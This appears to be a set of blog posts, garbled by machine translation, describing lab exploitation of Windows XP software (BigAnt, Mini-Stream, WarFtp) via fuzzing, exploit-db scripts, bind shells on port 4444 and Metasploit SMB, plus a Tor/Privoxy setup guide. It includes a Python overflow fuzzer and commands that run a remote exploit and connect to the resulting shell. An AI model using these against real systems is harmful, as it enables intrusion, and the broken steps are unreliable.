BigAnt server Exploit (SEH)

This time I'll do exploits BigAnt server, according to the teachings of the is2c

hehehehe.

okeh straight away.

the first step is to enable BigAnt server on windows XP in a laboratory

  Once enabled, type the following code:

 

After we make such a fuzzer code those images, we do testing on BigAnt server on windows.

BigAnt server run

 

 

then run the BigAnt in Olydbg

from the file menu in Olydbg select etech, then search for anserver

 

 

 

 

After a run at Olydbg BigAnt, lankah next is sending a fuzzer which we have made earlier. and consider what's going on in the Olydbg BigAnt

application crashes, but in the picture it looks not overwritten EIP registers by the fuzzer which we submit, this is because the application uses SEH.

 

to view the data in the memory application, right click on the lines of the stack--> follow in duump

to be continu. . ..

 

Exploit Mini-Stream RM Mp3 Converter

This time I am posting how we do exploit sofwere Mini-Stream RM Mp3 Converter

in the first step I will make the time run by the fuzzer Mini-Stream RM Mp3 Converter 

the seckript when run with Mini-Stream RM Mp3 Converter then it will occur as follows

 

lihatlahpada olydbg window, the value of A character's junk-ridden ESP as much as 30000

then I try to use pattern_create. rb 

 

After the file has been updated then I try again step in to do the delivery of junk that overwrite EIP and ESP

Note the value of ESP and the EIP, and then the next step I used a pattern_offset. rb by taking the value of the EIP and ESP for assault berikutny, look at the picture 

run the back files that have been modified, and note the result, look at the Windows olydbg the value of EIP has changed according to what we want, in the picture it looks a value that has been changed is DEADBEEF 

 

 

After that do the changes again on the ESP value to override the fuzzer with sending junk in the form of the character "C"

after it successfully on Windows OLYDBG select view button and then select another Executable module in it and I memilihshell32. etc to enter into the register stack

Search JMP ESP file as a springboard and then do a breakpoint to test whether I submit in accordance with the specified address

 

 do a test run with the previous steps, if the data transmission process stops at the JMP ESP addresses that have been at the breakpoint then we have succeeded.

 

 

the next step is to create a fuzzer with include payload, payload has been getting way I described in my previous postings

 

After the fuzzer which carries the payload in the test and is successful, then I open port 4444 with the telnet command

 

Okay, I have managed to do exploits.

Good luck, thank you

 

 

 

Exploitation With Fuzzing

This time I'll do exploits with the python language using fuzzing.

Okay ... get on with it. I set up a laboratory in the engines that in virtualbox install windows xp. After windows xp is running on virtualbox machines we install application server, because the WarFtp will I make my experiment is WarFtp media server. Warftp server itself and is the easiest application to the exploitation.

run WarFtp server applications that have been previously prepared

 

Okay, the first step to do is to make a simple fuzzer can send data at FTP protocol.  

I am using the python programming language to create a fuzzer which will be sent to the FTP protocol

 

#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer=" \ x41" * 1000
s.connect(('172.16.227.129',21))
data = s.recv (1024)
print("sending evile data via user comand...")
s.send('USER'+buffer+'\r \n')
data = s.recv (1024)
s.send ('PASS PASSWORD'+'\r \n')
s.close ()
print ("Finish")

you have to take note of the fuzzer that I create is the IP adres and host an open target. of course to get IP information and HOST has been discussed on the previous post.

 

When you are finished making the fuzzer keep file with extension py

Now let's play in console

open console and type the command terminal

root@bt:~# nc 172.16.227.129 21

 

 

you have to remember is the IP that I use with the IP of your target audience is different, so the suggestion to you, customize your target IP.Open a new terminal and konsole give command

root@bt:~# python aaaaaa.py   aaaaaa.py is the name of a file fuzzer I make, so in this case you will have to adjust with the file name that you created

 

Note the application server that is sebekumnya our WarFtp run on windows Xp in virtualBox

 

 WarFtp progress will come out automatically or

 

setelah itu carilah file FtpDaemon pada windows Xp dalam folder C/ProgramFile/WarFtp

 

Now we try to step back, but this time we open WarFtp server using Olydebuger

amatilah if the same command is done, then there will be changes.

Next we edit fuzzer with pasting a file as follows

copy and paste, look in image:

 

 

 

install polipo in bactrak 5

open consol terminal
and typing the command:
apt-get insstall polipo

 then if the installation has been completed to try to open your browser and write the url address 127.0.0.1:8123

instalation tor, privoxi in backtrak 5

You will first need to add the repository from which you wish to install Tor and Privoxy. Open the /etc/apt/sources.list file (or your preferred config editor) with vi:

vi /etc/apt/sources.list

Press the A (shift a) key, press return, and add the following line:

 deb http://deb.torproject.org/torproject.org lucid main

Click Esc to stop editing, then :wq [enter] or ZZ (shift zz) to write the changes to the file and quit vi.

Run the following commands:

gpg --keyserver keys.gnupg.net --recv 886DDD89

gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt-key add -











































During installation you will be asked whether you want to continue. If there are no strange warnings and it resembles this output, answer Y.

Run the following commands to install tor and privoxy:

apt-get update

apt-get install tor tor-geoipdb
apt-get install privoxy

Privoxy configuration

Open /etc/privoxy/config with vi (or your preferred config editor)

vi /etc/privoxy/config

gambar7
Scroll down using the j or arrow down key (or other cursor movement way). In section 4.1, check that the listen address is 127.0.0.1:8118

If it is not, change it by pressing the A (shift a) key or i key (or any other insertion way), making the necessary changes, and pressing the esc key when you are done. Scroll down further to section 5.

When using socks5 on port %d, your application is giving Tor only an IP address. Applications that do DNS resolves themselves may leak information. So using Socks4A instead is a good idea. Read more on that here.

In section 5.2, set forward privoxy to TOR (Do NOT forget that point at the end)

forward-socks4a / 127.0.0.1:9050 .

The following two configuration changes are performance improvements.
In 6.4 change keep-alive-timeout 300 to keep-alive-timeout 600 and in 6.6 change socket-timeout 300 to socket-timeout 600:
gambar10
gamabr 11

Click Esc to stop editing, then :wq [enter] or ZZ (shift zz) to write the changes to the file and quit vi.

Starting (and stopping) privoxy

Run the command:
You can run the same command but then with "stop" instead of "start" if you wish to stop privoxy. If you do, and you have already configured clients, connections will be refused.

System wide configuration of clients

Configure your clients with IP address 127.0.0.1 and port 8118

Set system wide proxy on Gnome: System —>Preferences —> Network Proxy

Click radio button Manual Proxy configuration, check the "Use the same proxy for all protocols" and and enter 127.0.0.1 and 8118. Then click "Apply System Wide ..." button.

Gambar12

In KDE: System Settings —> Network Settings —> Proxy tab, then manually specify the system wide proxy settings.

Next is configuring your browser for using system wide proxy settings:
With IE, Opera and Safari there are too many ways that our privacy can be breached, and because of their closed design it is really hard to do anything about such privacy problems, hence the focus on Firefox and Konquerer.

Konqueror uses the KDE system wide proxy settings.

In Firefox go to Edit —> Preferences —> Advanced tab —> Connection (Click Settings ... button)

Check that it's working:

https://check.torproject.org/

Privilege escalation

 

At a meeting of the four we are discussing about Privilege escalation. As usual we practice on virtualbox machines. We plug the machine in virtualbox ubuntu would be the target.

After ububtu on virtualbox run we are looking for his IP Address by using the use the autoscan. Here I get IP 192.168.56.101

After I got the IP then I scan again with the purpose to obtain target information even more information, by which I mean is any program that is running on the OS and find vulnerbility using nessus or can be used as well as nmap.

If you do the scanning using nessus and information to be obtained is like the image below 

 

If you are using the nmap results that you will get the following 

 

then next we do exploits by using exploitdb search 

 

 

next use perl to do exploits. Take a look at the following picture 

 

If it works then it will show up information like.

 

 

 coffee in writing blocks of green and paste in kwrite and then save it with the file name that you like and save it in the root-pentest-passwords-john

If the file has been saved, you go to tools then try john the ripper and then use the ls command to know the existence of the file we save. I give the file name .txt 4. Take a look at the following 

 

Exploitdb search

 

At the meeting this time in is2c are taught how to go about the exploits of the windows xp with through running applications in it. In my lab, I am using bigAnt server installed on windows xp.

After I run everything, i.e. virtual machine as windows xp inside his laboratory, as a target and we will server bigAnt exploits.

Now run the tools we will use. In this case I'm using a exploitdb search. Did not rule out other tools to do this.

After open then I run the./searchsploit bigant

then it will appear the following sebbagai information:

Description Path

--------------------------------------------------------------------------- -------------------------

BigAnt Server 2.2 PreAuth Overflow Remote SEH Exploit (0 day)/windows/remote/5451.py

BigAnt Server 2.50 GET Request Remote BOF Exploit (SEH) 0/windows/remote/9673.py

BigAnt Server 2.50 GET Request Remote BOF Exploit (SEH) 0/windows/remote/9673.py

BigAnt Server 2.50 GET Request Remote BOF Exploit (SEH) Universal/windows/remote/9690.py

BigAnt Server 2.50 GET Request Remote BOF Exploit (SEH) Universal/windows/remote/9690.py

BigAnt Server 2.50 SP1 (ZIP File) Local Buffer Overflow PoC/windows/dos/9695.py

BigAnt Server 2.50 SP6 < = (ZIP File) Local Buffer Overflow PoC # 2/windows/dos/9734.py

BigAnt Server 2.50 SEH (0)/windows/remote/10765.py

BigAnt Server 2.50 v Remote Buffer Overflow Exploit 2/windows/remote/10973.py

Bigant Messenger < = v 2.52-(AntCore. etc.) () 0 day Remote RegisterCom Heap Overflow/windows/remote/12417.py

BigAnt Server 2.50 USV Buffer Overflow/windows/remote/16426.rb

BigAnt Server 2.2 Buffer Overflow/windows/remote/16430.rb

BigAnt Server 2.50 SP1 Buffer Overflow/windows/remote/16431.rb

We observe the results are the same and look for the version with that used by the target. To gather information before I've written in previous postings. I give above is the target color that allows us to enter.

To know the existence of the folder we use the ls command first.

root @ bt:/pentest/exploits/exploitdb # ls

files .csv platforms searchsploit

secript above explained that folder which we will make the target are on platforms

After that we look for tau port that allows us to enter it with mengirimkanya to kate. Type the command as follows:

root @ bt:/pentest/exploits/exploitdb # kate platforms/windows/remote/10765. py

pictures

in the picture it looks port that allows us to be able to enter that port 4444. write the following command to send the connection exploits:

root @ bt:/pentest/exploits/exploitdb # python platforms/windows/remote/10765. py 172.16.227.192 4444

If the description in the following Exploit sent! Connect to a remote host on port 4444 then we can already enter windowsnya.

Then use the command as follows:

root @ bt:/pentest/exploits/nv exploitdb # nc-4444 172.16.227.129

If it appears the following information so we can already control the windows from console:

(UNKNOWN) [172.16.227.129] 4444 (?) open

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32 >

Thanks

Exploit windows xp with metasploit smb

This time I will do exploit windows xp by using the smb metasploit.
the first step I do is run windows xp on a virtual machine. Then i koneksikan with os guest After that i topursue metasploit msfconsole

After I run the msfconsole, then I seek and gather information from the target with entering search smb

After that, to know what operations can be done we run the show option

Then we choose one who has acquired smb

 Follow orders pictur foilows contained in

use the command as follows

 then write down the command enter and exploit
After writing shell and return.

If the effort is true then you already in windows. See next picture